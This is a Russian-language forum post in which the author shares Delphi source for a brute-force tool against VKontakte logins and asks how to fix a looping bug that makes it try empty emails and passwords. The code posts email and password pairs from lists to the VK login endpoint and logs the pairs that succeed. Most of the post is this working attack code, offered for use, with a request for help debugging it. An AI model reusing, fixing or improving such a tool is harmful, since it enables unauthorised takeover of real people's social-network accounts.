Брут вконтакте [DELPHI]

Делаю брут вконтакте на делфи. но столкнулся со следующей проблемой... прога как-то странно брутит.

Code:

мыло / пароль invalid
мыло /  invalid
 / пароль invalid
 /  invalid

1 раз проверят мыло пароль как и надо, 2 раз мыло и на пустой пароль, 3 раз на пустое мыло и пароль и 4 раз на пустые данные...
Вот исходник

Code:

procedure TForm1.Button1Click(Sender: TObject);
begin
  TNewThread.Create(false);
end;

procedure TNewThread.Execute;
var
  data:tstringlist;
  PageProfile:string;
  error:boolean;
  i, j:integer;

  begin
  with Form1 do begin
  begin
  for i := 0 to Memo1.Lines.Count do
  for j := 0 to Memo2.Lines.Count do
  begin
  IdHTTP1.AllowCookies:=true;
  IdHTTP1.HandleRedirects:=false;
  data:=TStringList.create;
  data.Add('act=login');
  data.Add('expire=1');
  data.Add('vk=');
  data.Add('email='+Memo1.Lines[i]);
  data.Add('pass='+Memo2.Lines[j]);
  data.Add('success_url=http://vkontakte.ru/share.php?act=logged');
  error:=false;
  try
    PageProfile:=IdHTTP1.Post('http://login.vk.com/', data);
  except
    error:=true;
  end;

  if not(error) then
  begin
    data.Clear;
    data.Add('s='+Copy(PageProfile, Pos('value', PageProfile)+7, 56));
    data.Add('op=slogin');
    data.Add('redirect=1');
    data.Add('expire=1');
    data.Add('to=');
    IdHTTP1.HandleRedirects:=true;
    try
      IdHTTP1.Post('http://vkontakte.ru/share.php?act=logged', data);
    except
    end;
    PageProfile:=IdHTTP1.get('http://vkontakte.ru');
    Memo3.Lines.Add('----------------------------------');
    Memo3.Lines.Add('User Name: ' + Memo1.Lines[i]);
    Memo3.Lines.Add('Password: ' + Memo2.Lines[j]);
    Memo3.Lines.Add('----------------------------------');
  end
  else
  begin
    Memo4.Lines.Add(Memo1.Lines[i] + ' /  ' + Memo2.Lines[j] + ' invalid');
  end;
  Data.Free;
  end;  
end;

Подскажите, как сделать, чтобы прога брутила только мыло и пароль взятые из Memo1 и Memo2 соответственно.